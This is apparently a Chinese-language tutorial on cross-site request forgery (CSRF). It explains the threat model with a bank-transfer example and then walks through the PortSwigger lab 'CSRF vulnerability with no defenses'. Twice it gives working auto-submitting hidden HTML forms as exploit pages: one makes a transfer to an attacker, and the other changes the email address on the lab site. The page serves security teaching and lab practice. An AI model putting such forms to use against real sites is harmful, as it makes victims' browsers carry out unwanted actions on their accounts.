本页目录

Learn CSRF

概念与威胁模型

跨站请求伪造(Cross-site Request Forgery, CSRF)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。CSRF主要利用浏览器会自动携带cookie的特性。

img
1.

用户登录网站,例如银行网站;

2.

网站返回cookie用于验证身份;

3.

假设银行转账的请求形式是:

http://www.mybank.com/transfer?to=[SomeAccount]&amount=[SomeAmount]

攻击者如果知道此形式(这是容易的),就可以构造一个恶意站点,这个站点会发送请求:

http://www.mybank.com/transfer?to=attacker&amount=1000
4.

用户访问恶意站点时,触发了这个请求;

5.

由于用户经过登录后存有用于验证身份的cookie,服务器会认为请求是有效的,因而导致了非预期操作的发生。

恶意站点构造可能如下:

<html>
    <body>
        <form action="https://www.mybank.com/transfer" method="POST">
            <input type="hidden" name="to" value="attacker" />
            <input type="hidden" name="amount" value="1000" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

当用户访问这个页面时,POST请求会被触发;如果用户登录了www.mybank.com,请求时会自动带上cookie;www.mybank.com认为这是用户的请求,因而将其作为正常请求处理。

练习

下文给出的PortSwigger靶场中有关CSRF的Lab目标是构造一个恶意站点,更改访问它的用户的邮箱地址。
攻击者可以通过账号wiener:peter了解网络请求结构。

PortSwigger Lab: CSRF vulnerability with no defenses

攻击者有一个exploit-server服务器(如下图),其中的/exploit页面发送给受害用户访问,Lab的目标是编写/exploit页面,让访问到的用户的邮箱地址被更改。

img
1.

登录账号wiener:peter,使用更新邮箱功能,观察网络请求,发现请求的接口是/my-account/change-email,并携带参数email

img

根据上述发现,构造一个立即提交的表单请求,action为有漏洞网站的地址:

<form action="https://0a7f00ed032da08580297635009a00f7.web-security-academy.net/my-account/change-email" method="post">
    <input type="hidden" name="email" value="abcd@abcd.com"/>
</form>
<script>
    document.forms[0].submit();
</script>
2.

提交通过。

img

参考资料

本文的插图和例子来源于: